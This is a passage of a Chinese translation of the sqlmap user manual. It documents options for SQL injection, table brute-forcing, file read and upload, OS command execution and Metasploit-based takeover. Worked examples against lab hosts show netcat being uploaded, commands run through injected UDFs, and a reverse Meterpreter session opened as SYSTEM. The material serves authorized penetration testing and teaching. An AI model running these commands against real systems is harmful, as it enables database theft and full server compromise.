$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\ sql-query "SELECT 'foo'" -v 1 [...] [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' [hh:mm:14] [INFO] retrieved: foo SELECT 'foo': 'foo' $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\ sql-query "SELECT 'foo','bar'" -v 2 [...] [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: foo [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA RCHAR(8000)), (CHAR(32))) [hh:mm:50] [INFO] retrieved: bar [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds SELECT 'foo', 'bar': 'foo, bar'
如你所见,sqlmap 将提供的查询分解为两个不同的 SELECT
语句,然后单独获取每个查询的输出。
如果提供的查询是一个 SELECT
语句并包含一个 FROM
子句,sqlmap 会询问你是否可以返回多个条目。在这种情况下,它知道如何解析返回的结果,逐条计算指定的条目数量,并给出相关输出。
SQL shell 选项允许你以交互方式运行自己的 SQL 语句,就像直接连接到 DBMS 的 SQL 控制台。此功能还提供 TAB 补全和输入历史支持。
以下开关可用于暴力破解检查。
开关:--common-tables
在某些场景下,开关 --tables
并不能用于获取数据库中表的名称。这样的场景通常会在如下情况下发生:
information_schema
。MSysObjects
默认设置不可读。如果出现前面两个场景中的任意一个,并且你开启了 --tables
开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-tables
,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表。
常见的数据表名列表存储在 txt/common-tables.txt
,支持用户进行任意修改。
针对 MySQL 4.1 目标的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\ n-tables -D testdb --banner [...] [hh:mm:39] [INFO] testing MySQL [hh:mm:39] [INFO] confirming MySQL [hh:mm:40] [INFO] the back-end DBMS is MySQL [hh:mm:40] [INFO] fetching banner web server operating system: Windows web application technology: PHP 5.3.1, Apache 2.2.14 back-end DBMS operating system: Windows back-end DBMS: MySQL < 5.0.0 banner: '4.1.21-community-nt' [hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx t/common-tables.txt' [hh:mm:40] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 8 [hh:mm:43] [INFO] retrieved: users Database: testdb [1 table] +-------+ | users | +-------+
开关:--common-columns
对于任意数据表,可能存在开启了开关 --columns
之后仍不能够获取数据库表的列名的情况。这样的场景通常会在如下情况下发生:
information_schema
。如果出现前面两个场景中的任意一个,并且你开启了 --columns
开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-columns
,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表列名。
常见的数据表名列表存储在 txt/common-columns.txt
,支持用户进行任意修改。
以下选项用于创建用户自定义函数。
开关和选项:--udf-inject
和 --shared-lib
你可以通过编译 MySQL 或 PostgreSQL 共享库(在 Windows 上为 DLL,在 Linux/Unix 上为共享对象(shared object))来注入自己的用户自定义函数(UDFs),然后将本地存储共享库的目录路径提供给 sqlmap。sqlmap 会根据你的选择决定下一步是向数据库服务器文件系统上传共享库到还是创建用户自定义函数。当你完成注入 UDFs 的使用后,sqlmap 还可以将它们从数据库中删除。
这些技术在白皮书通过高级 SQL 注入完全控制操作系统中有详细介绍。
使用选项 --udf-inject
并按照说明进行操作即可。
如果需要,也可以使用 --shared-lib
选项通过命令行指定共享库的本地文件系统路径。否则 sqlmap 会在运行时向你询问路径。
此功能仅在 DBMS 为 MySQL 或 PostgreSQL 时有用。
选项:--file-read
当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够直接读取底层文件系统中文件的内容。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。
这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统。
下面是以 Microsoft SQL Server 2005 为目标,获取二进制文件的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\ e=luther" --file-read "C:/example.exe" -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/ C__example.exe' [...] $ ls -l output/192.168.136.129/files/C__example.exe -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_ _example.exe $ file output/192.168.136.129/files/C__example.exe output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI ) Intel 80386 32-bit
选项:--file-write
和 --file-dest
当后端 DBMS 为 MySQL,PostgreSQL 或者 Microsoft SQL Server,并且当前会话用户拥有利用数据库特定功能和相关架构弱点的权限时,sqlmap 能够向数据库服务器文件系统上传一个本地文件。文件可以是文本文件或者二进制文件,sqlmap 都能够正确地处理相关文件。
这些技术的相关详情可见白皮书通过高级 SQL 注入完全控制操作系统。
下面是以 MySQL 为目标,向服务器提交一个经过 UPX 压缩的二进制文件的例子:
$ file /software/nc.exe.packed /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32 -bit $ ls -l /software/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\ -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 [...] do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success fully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b ytes, same size as the local file '/software/nc.exe.packed'
选项和开关:--os-cmd
和 --os-shell
当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前会话用户拥有对数据库特定功能和相关架构特性的利用权限时,sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令。
在 MySQL 和 PostgreSQL 中,sqlmap 可以上传(通过前面描述的文件上传功能)一个包含两个用户自定义函数——分别为 sys_exec()
和 sys_eval()
的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell
存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它。
当用户请求标准输出,sqlmap 将使用任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap 则会使用堆查询注入技术执行相关的命令。
这些技术的相关详情可见白皮书通过高级 SQL 注入,对操作系统进行完全控制。
针对 PostgreSQL 目标的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\ os-cmd id -v 1 [...] web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: PostgreSQL [hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:12] [INFO] the back-end DBMS operating system is Linux [hh:mm:12] [INFO] testing if current user is DBA [hh:mm:12] [INFO] detecting back-end DBMS version from its banner [hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist [hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file [hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file do you want to retrieve the command standard output? [Y/n/a] y command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post gres)' [hh:mm:19] [INFO] cleaning up the database management system do you want to remove UDF 'sys_eval'? [Y/n] y do you want to remove UDF 'sys_exec'? [Y/n] y [hh:mm:23] [INFO] database management system cleanup finished [hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys tem can only be deleted manually
sqlmap 还支持模拟 shell 输入,你可以输入任意命令以执行。对应的选项是 --os-shell
,并且和 --sql-shell
一样,具备 TAB 补全和记录历史命令的功能。
如果堆查询没有被 Web 应用(例如:PHP 或 ASP 且后端 DBMS 为 MySQL)识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同一台服务器上,则仍可以通过利用 SELECT
语句中的 INTO OUTFILE
,在 Web 服务器根目录中的可写目录中创建 Web 后门,从而执行命令。sqlmap 支持上述功能并允许用户提供一个逗号分隔、用于指定根目录子目录的列表,从而尝试上传 Web 文件传输器和后续的 Web 后门。sqlmap 有以下几种语言的 Web 文件传输器和后门:
开关和选项:--os-pwn
,--os-smbrelay
,--os-bof
,--priv-esc
,--msf-path
和 --tmp-path
当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,并且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外 TCP 连接。根据用户的选择,该连接可以是交互式命令行、Meterpreter 会话、或者图形用户界面(VNC)会话。
sqlmap 依赖 Metasploit 创建 shellcode,并实现了四种不同的技术在数据库服务器上执行它。这些技术分别是:
sys_bineval()
在数据库内存中执行 Metasploit shellcode。MySQL 和 PostgreSQL 支持该技术,通过开关 --os-pwn
启用。sys_exec()
向 MySQL 和 PostgreSQL 上传一个 Metasploit 独立 payload 传输器并执行,对于 Microsoft SQL Server 则是使用 xp_cmdshell()
函数,通过开关 --os-pwn
启用。smb_relay
服务监听)之间的 UNC 路径请求的 SMB 反射攻击(MS08-068)来执行 Metasploit shellcode。当 sqlmap 运行于具有高权限(uid=0
)的 Linux/Unix 上,且目标 DBMS 以 Windows 管理员身份运行时支持该技术,通过开关 --os-smbrelay
启用。sp_replwritetovarbin
存储过程堆缓冲区溢出(MS09-004)在数据库内存中执行 Metasploit shellcode。sqlmap 使用自己的 exploit,自动绕过 DEP 内存保护来触发漏洞,但它依赖 Metasploit 生成 shellcode,以便在成功利用时执行,通过开关 --os-bof
启用。相关的技术详情可见于白皮书通过高级 SQL 注入完全控制操作系统和幻灯片将控制由数据库层面拓展到操作系统。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\ id=1" --os-pwn --msf-path /software/metasploit [...] [hh:mm:31] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 back-end DBMS: MySQL 5.0 [hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system [hh:mm:31] [INFO] the back-end DBMS operating system is Windows how do you want to establish the tunnel? [1] TCP: Metasploit Framework (default) [2] ICMP: icmpsh - ICMP tunneling > [hh:mm:32] [INFO] testing if current user is DBA [hh:mm:32] [INFO] fetching current user what is the back-end database management system architecture? [1] 32-bit (default) [2] 64-bit > [hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist [hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist [hh:mm:33] [INFO] detecting back-end DBMS version from its banner [hh:mm:33] [INFO] retrieving MySQL base directory absolute path [hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file [hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file how do you want to execute the Metasploit shellcode on the back-end database und erlying operating system? [1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) [2] Stand-alone payload stager (file system way) > [hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode which connection type do you want to use? [1] Reverse TCP: Connect back from the database host to this machine (default) [2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535 [3] Bind TCP: Listen on the database host for a connection > which is the local address? [192.168.136.1] which local port number do you want to use? [60641] which payload do you want to use? [1] Meterpreter (default) [2] Shell [3] VNC > [hh:mm:40] [INFO] creation in progress ... done [hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p lease wait.. _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ metasploit v3.7.0-dev [core:3.7 api:1.0] + -- --=[ 674 exploits - 351 auxiliary + -- --=[ 217 payloads - 27 encoders - 8 nops =[ svn r12272 updated 4 days ago (2011.04.07) PAYLOAD => windows/meterpreter/reverse_tcp EXITFUNC => thread LPORT => 60641 LHOST => 192.168.136.1 [*] Started reverse handler on 192.168.136.1:60641 [*] Starting the payload handler... [hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b ineval', please wait.. [*] Sending stage (749056 bytes) to 192.168.136.129 [*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a t Mon Apr 11 hh:mm:52 +0100 2011 meterpreter > Loading extension espia...success. meterpreter > Loading extension incognito...success. meterpreter > [-] The 'priv' extension has already been loaded. meterpreter > Loading extension sniffer...success. meterpreter > System Language : en_US OS : Windows .NET Server (Build 3790, Service Pack 2). Computer : W2K3R2 Architecture : x86 Meterpreter : x86/win32 meterpreter > Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:0c:29:fc:79:39 IP Address : 192.168.136.129 Netmask : 255.255.255.0 meterpreter > exit [*] Meterpreter session 1 closed. Reason: User exit
默认情况下,MySQL 在 Windows 上以 SYSTEM
身份运行,然而 PostgreSQL 在 Windows 和 Linux 上均以低权限用户 postgres
运行。Microsoft SQL Server 2000 默认以 SYSTEM
身份运行,而 Microsoft SQL 2005 和 2008 大部分情况下以 NETWORK SERVICE
身份运行,有时候以 LOCAL SERVICE
身份运行。
使用 sqlmap 的 --priv-esc
开关,可以通过 Metasploit getsystem
命令进行数据库进程用户提权,该命令使用了包括 kitrap0d 在内的各种技术(MS10-015)。
当后端 DBMS 是 MySQL,PostgreSQL 或 Microsoft SQL Server 并且 Web 应用程序支持堆查询时,sqlmap 可以访问 Windows 注册表。此外,会话用户必须具备相应的访问权限。
开关:--reg-read
使用此开关可以读取注册表键值。
开关:--reg-add
使用此开关可以写入注册表键值。
开关:--reg-del
使用此开关可以删除注册表项。
选项:--reg-key
,--reg-value
,--reg-data
和 --reg-type
这些选项用于提供正确运行 --reg-read
,--reg-add
和 --reg-del
等开关所需的数据。因此,你可以在命令提示符下使用它们作为程序参数,而不是在执行过程中提供注册表项信息。
使用 --reg-key
选项指定 Windows 注册表项路径,--reg-value
提供注册表项的名称,--reg-data
提供注册表键值数据,而 --reg-type
选项指定注册表键值的类型。
添加注册表项配置单元的示例命令行如下:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\ eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\ pe=REG_SZ --reg-data=1
下面的选项用于设置 sqlmap 的常规参数。
选项:-s
sqlmap 会在专用的输出目录中自动为每一个目标分别建立持久会话 SQLite 文件,该文件会存储用于恢复会话的所有数据。如果用户需要指定会话文件的具体存储位置(例如:将所有目标的会话数据存储在同一个位置),则可以使用这个选项。
选项:-t
这个选项需要一个指定文本文件地址的参数,用于写入 sqlmap 产生的所有 HTTP(s) 流量信息——包括 HTTP(S) 请求 和 HTTP(S) 响应。
这个选项主要用于调试——当你向开发人员提供潜在 bug 报告时,可把这个文件一并带上。
开关:--batch
当你需要以批处理模式运行 sqlmap,避免任何用户干预 sqlmap 的运行,可以强制使用 --batch
这个开关。这样,当 sqlmap 需要用户输入信息时,都将会以默认参数运行。
选项:--binary-fields
为了便于检索存储二进制数值(例如:数据列 password
存储了密码哈希值二进制数据)的数据表字段的内容,可使用 --binary-fields
选项对该数据列进行(额外)适当处理。所有的这些数据域(例如:数据表的列)都将被取出并以十六进制格式展示,便于后续被其他工具(例如:john
)处理。
选项:--charset
在布尔型盲注和时间型盲注中,用户可以强制使用自定义字符集来加快数据检索过程。例如,在导出消息摘要值(例如:SHA1)时,通过使用(例如)--charset="0123456789abcdef"
,预期的请求数比常规运行大约少 30%。
选项:--crawl
sqlmap 可以从给定的目标站点开始收集(抓取)存在潜在漏洞的链接。使用这个选项可以设置爬取的深度(到起始位置的距离),这样 sqlmap 爬取到对应深度就不会继续进行。
针对 MySQL 目标的运行示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 [...] [xx:xx:53] [INFO] starting crawler [xx:xx:53] [INFO] searching for links with depth 1 [xx:xx:53] [WARNING] running in a single-thread mode. This could take a while [xx:xx:53] [INFO] searching for links with depth 2 [xx:xx:54] [INFO] heuristics detected web page charset 'ascii' [xx:xx:00] [INFO] 42/56 links visited (75%) [...]
选项:--crawl-exclude
使用这个选项可以通过正则表达式来排除不想抓取的页面。例如,如果你想要跳过所有包含 logout
关键字的链接,你可以使用 --crawl-exclude=logout
。
选项:--csv-del
当导出数据到 CSV 格式文件(--dump-format=CSV
),数据条目需要使用“分隔符”(默认为 ,
)进行划分。如果用户想要覆盖默认分隔符,可以使用这个选项(例如:--csv-del=";"
)。
选项:--dbms-cred
某些情况下,用户可能会因为当前 DBMS 用户的权限问题而导致操作失败,这时就可以使用这个选项。在这种情景下,如果用户使用这个选项来 admin
用户凭证,sqlmap 会尝试使用相应的认证信息与“以其他身份运行”机制(例如:Microsoft SQL Server 的 OPENROWSET
)来重新运行。
选项:--dump-format
当导出数据表数据到输出目录的相应文件时,sqlmap 支持三种不同的数据导出格式:CSV
,HTML
和 SQLITE
。默认的输出格式是 CSV
,每一条数据以 ,
(或者使用 --csv-del
指定其他符号)为分隔符逐行存储到文本文件中。如果是使用 HTML
格式,则输出会被存储为 HTML 文件,每行数据会被存储为表格的一行到 HTML 文件中。如果是使用 SQLITE
,数据则会被存储到 SQLITE 数据库,原先的数据表会被转换成具有相同名字的 SQLITE 数据表。
选项:--encoding
为了对字符数据进行合理的编码,sqlmap 使用从 Web 服务器提供的信息(例如:HTTP 请求头 Content-Type
),或是使用第三方库 chardet 进行推导。
尽管如此,有时候还是需要对编码进行指定,特别是当获取的数据包含国际化的非 ASCII 字符时(例如:encoding=GBK
)。同时,需要注意的是,如果目标机器数据库存储的数据内容与数据库连接器编码不兼容,则会不可逆转地出现编码信息丢失的情况。
开关:--eta
sqlmap 支持实时计算并显示获取查询结果的预估时间。如果使用的技术是任意一种 SQL 盲注,则会显示获取输出的时间。
针对 Oracle 目标进行布尔型盲注的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\ =1" -b --eta [...] [hh:mm:01] [INFO] the back-end DBMS is Oracle [hh:mm:01] [INFO] fetching banner [hh:mm:01] [INFO] retrieving the length of query output [hh:mm:01] [INFO] retrieved: 64 17% [========> ] 11/64 ETA 00:19
接着:
100% [===================================================] 64/64 [hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2 .0.1.0 - Prod web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: Oracle banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
从上面可以看出,sqlmap 会先计算出查询结果的长度,然后预估完成的时间,并显示出完成的百分比及接收到的字符数。
选项:--flush-session
经过上面的相关描述,相信你已经熟悉了会话文件的相关概念,值得注意的是,你可以通过选项 --flush-session
来清空会话文件内容。这样你可以避免 sqlmap 默认的缓存机制。也可以手动移除相关的会话文件。
开关:--forms
例如你需要针对搜索框进行 SQL 注入测试,或者你想绕过登录验证(通常是 username 和 password 两个输入框),你可以通过给 sqlmap 传入请求文件(-r
),并设置好(--data
)相关的提交数据,或者直接让 sqlmap 自动为你完成相关操作。
上面提及的两个实例,及其他 HTML 响应体中出现的 <form>
和 <input>
标签,都可以使用这个开关。
配合存在表单的目标 URL(-u
)使用 sqlmap 的 --forms
开关,sqlmap 会自动为你请求对应目标 URL,解析相关的表单,并引导你基于表单输入域(参数)而非提供的目标 URL 进行 SQL 注入测试。
开关:--fresh-queries
经过上面的描述,相信你已经熟悉了会话文件的概念,值得注意的是,你可以使用--fresh-queries
这个开关忽略指定的会话文件。这样你就可以保持某次运行的特定会话文件内容不被修改,从而避免查询结果的重复尝试/恢复。
开关:--hex
很多情况下,获取非 ASCII 数据都会有特殊要求。其中一个解决方案就是使用 DBMS hex 函数。开启这个开关,数据在被获取之前,会被编码成十六进制格式,并在随后被解码成原先的格式。
针对 PostgreSQL 目标的例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\ anner --hex -v 3 --parse-errors [...] [xx:xx:14] [INFO] fetching banner [xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR (58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32) ))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||( CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC) [xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query' >function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d 676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961 6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p hp</b> on line <b>35</b>' [xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 [...]
选项:--output-dir
默认情况下,sqlmap 会将会话和结果文件存储在命名为 output
的子目录中。如果你想要使用不同的存储位置,可以用这个选项(例如:--output-dir=/tmp
)。
开关:--parse-errors
如果 Web 应用配置了调试模式,后端 DBMS 的错误信息会在 HTTP 响应请求中显示,sqlmap 会对其进行解析并展示。
这个特性对调试非常有用,例如可以用来理解为什么特定枚举或接管开关会失效——可能是会话用户出现权限问题,在这种情况下,你可以看到 Access denied for user <SESSION USER>(拒绝用户<会话用户>访问)
的 DBMS 错误信息。
针对 Microsoft SQL Server 目标的例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\ --parse-errors [...] [xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending th e rangefor current UNION query injection technique test [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv ers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i s out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv ers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv ers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. <b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' [xx:xx:17] [INFO] target URL appears to have 3 columns in query [...]
选项:--save
可以将命令行上的相关选项保存到 INI 配置文件中。同时可以通过以上描述的 -c
选项对生成的文件进行编辑。
开关:--update
使用这个开关,你可以直接从 Git 仓库将该工具升级到最新的开发版本。当然,你需要网络连接。
当然,如果上面的操作失败,你可以直接在 sqlmap 所在目录运行 git pull
。这样的执行效果和使用开关 --update
一样。如果你是在 Windows 上使用 sqlmap,可以使用 SmartGit 客户端。
在向邮件列表反馈任何潜在 bug 之前,强烈建议先尝试上面描述的方法。
选项:-z
输入所有想要使用的选项和开关是很乏味的事情,特别是对于那些常用的选项和开关(例如:--batch --random-agent --ignore-proxy --technique=BEU
)。有一个更简短的方法来处理这个问题。在 sqlmap 中,它被称为“助记符”。
使用选项 -z
,每个选项和开关可以用较短的助记符形式,并用逗号(,
)分隔,其中助记符代表原始名称的第一个任意选择的部分。选项和开关没有严格映射到他们各自精简后的部分。唯一需要满足的条件是没有其他选项和开关使用了与之相同的前缀。
例如:
$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\ w.target.com/vuln.php?id=1"
可以用短助记符形式(多种方法之一)写成:
$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\ 1"
另一个例子:
$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\ b -T users -u "www.target.com/vuln.php?id=1"
可以用短助记符形式写成:
$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\ com/vuln.php?id=1"
选项:--alert
选项:--answers
如果用户想要自动回答问题,即使使用了 --batch
选项,也可以通过在等号后提供一部分的问题和对应的回答来做到这一点。另外,不同问题的答案可以用分隔符 ,
分割。
针对 MySQL 目标的示例:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\ chnique=E --answers="extending=N" --batch [...] [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y [xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide d level (1) and risk (1)? [Y/n] N [...]
开关:--beep
如果用户使用了开关 --beep
,那么在发现 SQL 注入时,sqlmap 会立即发出“哔”的警告声。当测试的目标 URLs 是大批量列表(选项 -m
)时特别有用。
开关:--cleanup
建议在完成底层操作系统或文件系统的接管后,清理后端 DBMS 中的 sqlmap 临时表和用户定义函数。使用 --cleanup
开关将尽可能地清理 DBMS 和文件系统。
开关:--dependencies
在某些特殊情况下,sqlmap 需要独立安装额外的第三方库(例如:选项 -d
,开关 --os-pwn
之于 icmpsh
隧道,选项 --auth-type
之于 NTLM
类型的 HTTP 认证等。),只在这种特殊情况下会警告用户。不过,如果你想独立检查所有这些额外的第三方库依赖关系,可以使用开关 --dependencies
。
$ python sqlmap.py --dependencies [...] [xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in order to directly connect to the DBMS Firebird. Download from http://kinterbasd b.sourceforge.net/ [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo rge.net/ [xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord er to directly connect to the DBMS MySQL. Download from https://github.com/peteh unt/PyMySQL/ [xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour ceforge.net/ [xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p sycopg/ [xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/ p/ibm-db/ [xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa rty library in order to directly connect to the DBMS HSQLDB. Download from https ://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ [xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc. googlecode.com/ [xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord er to directly connect to the DBMS Microsoft SQL Server. Download from http://py mssql.sourceforge.net/ [xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl an to attack a web application behind NTLM authentication. Download from http:// code.google.com/p/python-ntlm/ [xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y ou plan to attack a web application using WebSocket. Download from https://pypi. python.org/pypi/websocket-client/
开关:--disable-coloring
默认情况下,sqlmap 输出到控制台时使用着色。你可以使用此开关禁用控制台输出着色,以避免不期望的效果(例如:控制台中未解析的 ANSI 代码着色效果,像 \x01\x1b[0;32m\x02[INFO]
)。
选项:--gpage
默认情况下,使用选项 -g
时,sqlmap 会使用 Google 搜索得到的前 100 个 URLs 进行进一步的 SQL 注入测试。结合此选项,你可以使用它(--gpage
)指定除第一页以外的页面以检索目标 URLs。
开关:--hpp
